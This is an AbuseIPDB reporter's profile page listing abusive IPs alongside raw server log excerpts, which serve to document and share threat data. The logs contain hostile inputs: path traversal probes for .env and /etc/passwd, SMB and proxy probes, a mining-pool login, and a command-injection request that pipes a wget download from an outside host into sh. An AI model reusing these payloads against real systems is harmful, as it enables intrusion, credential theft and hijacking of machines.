AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User abuseipdb_reporter joined AbuseIPDB in July 2022 and has reported 59,413 IP addresses.

Standing (weight) is good.

ACTIVE USER

IP	Date	Comment	Categories
🇺🇸 20.3.167.87	3 hours ago	20.3.167.87 - - [27/Sep/2026:05:45:46 +0200] "GET http://ifconfig.me/ip HTTP/1.1" 400 248 "-" "Mozil ... show more 20.3.167.87 - - [27/Sep/2026:05:45:46 +0200] "GET http://ifconfig.me/ip HTTP/1.1" 400 248 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" 20.3.167.87 - - [27/Sep/2026:05:45:47 +0200] "\x05\x01\x00" 400 150 "-" "-" 20.3.167.87 - - [27/Sep/2026:05:45:47 +0200] "\x04\x01\x00P\x00\x00\x00\x01\x00ifconfig.me\x00" 400 150 "-" "-" ... show less	Web App Attack
🇭🇰 152.32.170.55	25 Sep 2026	152.32.170.55 - - [25/Sep/2026:15:14:10 +0200] "{\x22method\x22:\x22login\x22,\x22params\x22:{\x22lo ... show more 152.32.170.55 - - [25/Sep/2026:15:14:10 +0200] "{\x22method\x22:\x22login\x22,\x22params\x22:{\x22login\x22:\x2245JymPWP1DeQxxMZNJv9w2bTQ2WJDAmw18wUSryDQa3RPrympJPoUSVcFEDv3bhiMJGWaCD4a3KrFCorJHCMqXJUKApSKDV\x22,\x22pass\x22:\x22xxoo\x22,\x22agent\x22:\x22xmr-stak-cpu/1.3.0-1.5.0\x22},\x22id\x22:1}" 400 150 "-" "-" 152.32.170.55 - - [25/Sep/2026:15:14:11 +0200] "{\x22id\x22:1,\x22method\x22:\x22mining.subscribe\x22,\x22params\x22:[]}" 400 150 "-" "-" 152.32.170.55 - - [25/Sep/2026:15:14:16 +0200] "{\x22params\x22: [\x22miner1\x22, \x22password\x22], \x22id\x22: 2, \x22method\x22: \x22mining.authorize\x22}" 400 150 "-" "-" ... show less	Web App Attack
🇳🇱 195.178.110.132	25 Sep 2026	195.178.110.132 - - [25/Sep/2026:15:00:50 +0200] "GET /../.env HTTP/1.1" 400 150 "-" "-" 195.178.110 ... show more 195.178.110.132 - - [25/Sep/2026:15:00:50 +0200] "GET /../.env HTTP/1.1" 400 150 "-" "-" 195.178.110.132 - - [25/Sep/2026:15:00:50 +0200] "GET /.env%00 HTTP/1.1" 400 150 "-" "-" 195.178.110.132 - - [25/Sep/2026:15:00:50 +0200] "GET /../.env.local HTTP/1.1" 400 150 "-" "-" ... show less	Web App Attack
🇩🇪 196.251.121.237	25 Sep 2026	196.251.121.237 - - [25/Sep/2026:10:43:58 +0200] "GET /images/..%2f..%2f..%2f..%2f.env HTTP/1.1" 400 ... show more 196.251.121.237 - - [25/Sep/2026:10:43:58 +0200] "GET /images/..%2f..%2f..%2f..%2f.env HTTP/1.1" 400 150 "-" "-" 196.251.121.237 - - [25/Sep/2026:10:43:58 +0200] "GET /assets/..%2f..%2f..%2f..%2f.env HTTP/1.1" 400 150 "-" "-" 196.251.121.237 - - [25/Sep/2026:10:43:58 +0200] "GET /public/..%2f..%2f..%2f..%2f.env HTTP/1.1" 400 150 "-" "-" ... show less	Web App Attack
🇺🇸 147.185.132.17	25 Sep 2026	147.185.132.17 - - [25/Sep/2026:09:43:28 +0200] "\x00\x00\x001\xFFSMBr\x00\x00\x00\x00\x18Eh\x00\x00 ... show more 147.185.132.17 - - [25/Sep/2026:09:43:28 +0200] "\x00\x00\x001\xFFSMBr\x00\x00\x00\x00\x18Eh\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xB5}\x00\x00\x01\x00\x00\x0E\x00\x02NT LM 0.12\x00\x02\x00" 400 150 "-" "-" 147.185.132.17 - - [25/Sep/2026:09:43:28 +0200] "\x00\x00\x00f\xFESMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x001234567890123456$\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x001234567890123456\x00\x00\x00\x00\x00\x00\x00\x00\x02\x02" 400 150 "-" "-" 147.185.132.17 - - [25/Sep/2026:09:43:28 +0200] "\x00\x00\x00f\xFESMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x001234567890123456$\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x001234567890123456\x00\x00\x00\x00\x00\x00\x00\x00\x10\x02" 400 150 "-" "-" ... show less	Web App Attack
🇺🇸 18.116.101.220	24 Sep 2026	18.116.101.220 - - [25/Sep/2026:01:02:57 +0200] "GET / HTTP/1.1" 400 650 "-" "visionheight.com/scan ... show more 18.116.101.220 - - [25/Sep/2026:01:02:57 +0200] "GET / HTTP/1.1" 400 650 "-" "visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36" ... show less	Web App Attack
🇳🇱 172.235.173.150	24 Sep 2026	172.235.173.150 - - [24/Sep/2026:14:09:19 +0200] "GET / HTTP/1.1" 400 248 "-" "Mozilla/5.0 (iPhone; ... show more 172.235.173.150 - - [24/Sep/2026:14:09:19 +0200] "GET / HTTP/1.1" 400 248 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 26_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML" 172.235.173.150 - - [24/Sep/2026:14:09:19 +0200] "GET /rest/applinks/1.0/manifest HTTP/1.1" 400 248 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 26_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML" 172.235.173.150 - - [24/Sep/2026:14:09:19 +0200] "GET /robots.txt HTTP/1.1" 400 248 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 26_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML" ... show less	Web App Attack
🇺🇸 68.69.177.112	23 Sep 2026	68.69.177.112 - - [24/Sep/2026:00:55:10 +0200] "GET / HTTP/1.1" 400 650 "-" "Mozilla/5.0 (Windows NT ... show more 68.69.177.112 - - [24/Sep/2026:00:55:10 +0200] "GET / HTTP/1.1" 400 650 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 68.69.177.112 - - [24/Sep/2026:00:55:11 +0200] "GET /t4 HTTP/1.1" 400 248 "-" "Mozilla/5.0" 68.69.177.112 - - [24/Sep/2026:00:55:11 +0200] "GET /favicon.ico HTTP/1.1" 400 650 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" ... show less	Web App Attack
🇺🇸 3.129.187.38	23 Sep 2026	3.129.187.38 - - [23/Sep/2026:23:24:34 +0200] "" 400 0 "-" "-" ...	Web App Attack
🇧🇪 34.140.112.171	23 Sep 2026	34.140.112.171 - - [23/Sep/2026:13:13:28 +0200] "-" 400 150 "-" "-" 34.140.112.171 - - [23/Sep/2026: ... show more 34.140.112.171 - - [23/Sep/2026:13:13:28 +0200] "-" 400 150 "-" "-" 34.140.112.171 - - [23/Sep/2026:13:13:28 +0200] "-" 400 150 "-" "-" 34.140.112.171 - - [23/Sep/2026:13:13:28 +0200] "-" 400 150 "-" "-" ... show less	Web App Attack
🇺🇸 66.240.236.119	23 Sep 2026	66.240.236.119 - - [23/Sep/2026:07:53:35 +0200] "" 400 0 "-" "-" 66.240.236.119 - - [23/Sep/2026:07: ... show more 66.240.236.119 - - [23/Sep/2026:07:53:35 +0200] "" 400 0 "-" "-" 66.240.236.119 - - [23/Sep/2026:07:53:36 +0200] "" 400 0 "-" "-" 66.240.236.119 - - [23/Sep/2026:07:53:37 +0200] "" 400 0 "-" "-" ... show less	Web App Attack
🇪🇸 188.26.214.71	22 Sep 2026	188.26.214.71 - - [23/Sep/2026:00:44:53 +0200] "GET /ghost/api/admin/users/me/?include=roles HTTP/2. ... show more 188.26.214.71 - - [23/Sep/2026:00:44:53 +0200] "GET /ghost/api/admin/users/me/?include=roles HTTP/2.0" 400 299 "https://www.mistut.duckdns.org/ghost/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36" 188.26.214.71 - - [23/Sep/2026:00:44:53 +0200] "DELETE /ghost/api/admin/session HTTP/2.0" 400 299 "https://www.mistut.duckdns.org/ghost/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36" 188.26.214.71 - - [23/Sep/2026:00:45:31 +0200] "PUT /ghost/api/admin/authentication/setup/ HTTP/2.0" 400 299 "https://www.mistut.duckdns.org/ghost/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36" ... show less	Web App Attack
🇸🇬 69.48.228.60	22 Sep 2026	69.48.228.60 - - [22/Sep/2026:09:58:10 +0200] "GET /api/metrics/run HTTP/1.1" 400 248 "-" "-" 69.48. ... show more 69.48.228.60 - - [22/Sep/2026:09:58:10 +0200] "GET /api/metrics/run HTTP/1.1" 400 248 "-" "-" 69.48.228.60 - - [22/Sep/2026:09:58:10 +0200] "GET /7f13c0a9d8644f3ca0a563b6b56e49d7 HTTP/1.1" 400 248 "-" "-" 69.48.228.60 - - [22/Sep/2026:09:58:10 +0200] "GET / HTTP/1.1" 400 248 "-" "-" ... show less	Web App Attack
🇺🇸 18.116.101.220	19 Sep 2026	18.116.101.220 - - [19/Sep/2026:21:47:07 +0200] "GET /robots.txt HTTP/1.1" 400 650 "-" "visionheight ... show more 18.116.101.220 - - [19/Sep/2026:21:47:07 +0200] "GET /robots.txt HTTP/1.1" 400 650 "-" "visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36" 18.116.101.220 - - [19/Sep/2026:21:47:08 +0200] "GET / HTTP/1.1" 400 650 "-" "visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36" ... show less	Web App Attack
🇭🇰 156.225.1.116	19 Sep 2026	156.225.1.116 - - [19/Sep/2026:08:58:31 +0200] "GET / HTTP/1.1" 400 150 "-" "NTRIP GNSSInternetRadio ... show more 156.225.1.116 - - [19/Sep/2026:08:58:31 +0200] "GET / HTTP/1.1" 400 150 "-" "NTRIP GNSSInternetRadio" 156.225.1.116 - - [19/Sep/2026:08:58:32 +0200] "GET / HTTP/1.1" 400 248 "-" "rawgrab" 156.225.1.116 - - [19/Sep/2026:08:58:32 +0200] "GET /raw HTTP/1.1" 400 248 "-" "rawgrab" ... show less	Web App Attack
🇬🇧 35.203.210.81	19 Sep 2026	35.203.210.81 - - [19/Sep/2026:07:28:13 +0200] "\x00\x00\x001\xFFSMBr\x00\x00\x00\x00\x18Eh\x00\x00\ ... show more 35.203.210.81 - - [19/Sep/2026:07:28:13 +0200] "\x00\x00\x001\xFFSMBr\x00\x00\x00\x00\x18Eh\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xB5}\x00\x00\x01\x00\x00\x0E\x00\x02NT LM 0.12\x00\x02\x00" 400 150 "-" "-" 35.203.210.81 - - [19/Sep/2026:07:28:13 +0200] "\x00\x00\x00f\xFESMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x001234567890123456$\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x001234567890123456\x00\x00\x00\x00\x00\x00\x00\x00\x02\x02" 400 150 "-" "-" 35.203.210.81 - - [19/Sep/2026:07:28:13 +0200] "\x00\x00\x00f\xFESMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x001234567890123456$\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x001234567890123456\x00\x00\x00\x00\x00\x00\x00\x00\x10\x02" 400 150 "-" "-" ... show less	Web App Attack
🇳🇱 204.76.203.31	17 Sep 2026	204.76.203.31 - - [17/Sep/2026:22:13:06 +0200] "GET / HTTP/1.1" 400 248 "-" "Mozilla/5.0 (X11; Linux ... show more 204.76.203.31 - - [17/Sep/2026:22:13:06 +0200] "GET / HTTP/1.1" 400 248 "-" "Mozilla/5.0 (X11; Linux x86_64) HighPerfScanner/10G" 204.76.203.31 - - [17/Sep/2026:22:13:07 +0200] "POST / HTTP/1.1" 400 248 "-" "Mozilla/5.0" ... show less	Web App Attack
🇺🇸 165.154.206.35	17 Sep 2026	165.154.206.35 - - [17/Sep/2026:17:50:03 +0200] "GET / HTTP/1.1" 400 150 "-" "NTRIP GNSSInternetRadi ... show more 165.154.206.35 - - [17/Sep/2026:17:50:03 +0200] "GET / HTTP/1.1" 400 150 "-" "NTRIP GNSSInternetRadio" 165.154.206.35 - - [17/Sep/2026:17:50:03 +0200] "GET / HTTP/1.1" 400 248 "-" "rawgrab" 165.154.206.35 - - [17/Sep/2026:17:50:04 +0200] "GET /raw HTTP/1.1" 400 248 "-" "rawgrab" ... show less	Web App Attack
🇩🇪 139.162.173.209	17 Sep 2026	139.162.173.209 - - [17/Sep/2026:16:54:26 +0200] "GET / HTTP/1.1" 400 248 "-" "Mozilla/5.0 (X11; Ubu ... show more 139.162.173.209 - - [17/Sep/2026:16:54:26 +0200] "GET / HTTP/1.1" 400 248 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML" 139.162.173.209 - - [17/Sep/2026:16:54:26 +0200] "GET /nmaplowercheck1789656863 HTTP/1.1" 400 248 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML" 139.162.173.209 - - [17/Sep/2026:16:54:26 +0200] "GET /rest/applinks/1.0/manifest HTTP/1.1" 400 248 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML" ... show less	Web App Attack
🇸🇮 176.65.134.53	17 Sep 2026	176.65.134.53 - - [17/Sep/2026:04:14:49 +0200] "GET / HTTP/1.1" 400 650 "-" "Mozilla/5.0 (Windows NT ... show more 176.65.134.53 - - [17/Sep/2026:04:14:49 +0200] "GET / HTTP/1.1" 400 650 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246" 176.65.134.53 - - [17/Sep/2026:04:14:49 +0200] "GET login.cgi HTTP/1.1" 400 150 "-" "-" 176.65.134.53 - - [17/Sep/2026:04:14:49 +0200] "POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=wget%20http%3A%2F%2F104.168.4.206%2Fmass%20-O-%20%7C%20sh HTTP/1.1" 400 248 "-" "Mozila/5.0" ... show less	Web App Attack
🇺🇸 18.116.101.220	16 Sep 2026	18.116.101.220 - - [16/Sep/2026:22:49:18 +0200] "" 400 0 "-" "-" 18.116.101.220 - - [16/Sep/2026:22: ... show more 18.116.101.220 - - [16/Sep/2026:22:49:18 +0200] "" 400 0 "-" "-" 18.116.101.220 - - [16/Sep/2026:22:49:22 +0200] "GET / HTTP/1.1" 400 650 "-" "visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36" 18.116.101.220 - - [16/Sep/2026:22:49:37 +0200] "GET /robots.txt HTTP/1.1" 400 650 "-" "visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36" ... show less	Web App Attack
🇩🇪 188.34.154.227	16 Sep 2026	188.34.154.227 - - [16/Sep/2026:17:38:31 +0200] "GET / HTTP/1.1" 400 650 "-" "Mozilla/5.0 (iPhone; C ... show more 188.34.154.227 - - [16/Sep/2026:17:38:31 +0200] "GET / HTTP/1.1" 400 650 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.1270.199 Mobile Safari/537.36; compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot" 188.34.154.227 - - [16/Sep/2026:17:38:50 +0200] "GET /assets../../../etc/passwd HTTP/1.1" 400 150 "-" "-" 188.34.154.227 - - [16/Sep/2026:17:39:25 +0200] "GET /assets../../../.env HTTP/1.1" 400 150 "-" "-" ... show less	Web App Attack
🇺🇸 34.23.43.31	16 Sep 2026	34.23.43.31 - - [16/Sep/2026:17:20:53 +0200] "GET / HTTP/1.1" 400 248 "-" "Mozilla/5.0 (Windows NT 1 ... show more 34.23.43.31 - - [16/Sep/2026:17:20:53 +0200] "GET / HTTP/1.1" 400 248 "-" "Mozilla/5.0 (Windows NT 10.0; rv:150.19) Gecko/20100101 Firefox/150.19; compatible; ChatGPT-User/1.0; +https://openai.com/bot" 34.23.43.31 - - [16/Sep/2026:17:22:32 +0200] "GET /assets../../../etc/passwd HTTP/1.1" 400 150 "-" "-" 34.23.43.31 - - [16/Sep/2026:17:24:23 +0200] "GET /assets../../../.env HTTP/1.1" 400 150 "-" "-" ... show less	Web App Attack
🇺🇸 18.218.118.203	15 Sep 2026	18.218.118.203 - - [15/Sep/2026:21:05:26 +0200] "GET / HTTP/1.1" 400 650 "-" "visionheight.com/scan ... show more 18.218.118.203 - - [15/Sep/2026:21:05:26 +0200] "GET / HTTP/1.1" 400 650 "-" "visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36" 18.218.118.203 - - [15/Sep/2026:21:05:32 +0200] "GET /robots.txt HTTP/1.1" 400 650 "-" "visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36" ... show less	Web App Attack
🇩🇪 165.245.242.42	15 Sep 2026	165.245.242.42 - - [15/Sep/2026:17:43:40 +0200] "GET / HTTP/1.1" 400 248 "-" "Mozilla/5.0 (compatibl ... show more 165.245.242.42 - - [15/Sep/2026:17:43:40 +0200] "GET / HTTP/1.1" 400 248 "-" "Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/)" 165.245.242.42 - - [15/Sep/2026:17:43:40 +0200] "GET /solr/admin/info/system HTTP/1.1" 400 248 "-" "Go-http-client/1.1" 165.245.242.42 - - [15/Sep/2026:17:43:40 +0200] "GET /solr/admin/cores?action=STATUS&wt=json HTTP/1.1" 400 248 "-" "Go-http-client/1.1" ... show less	Web App Attack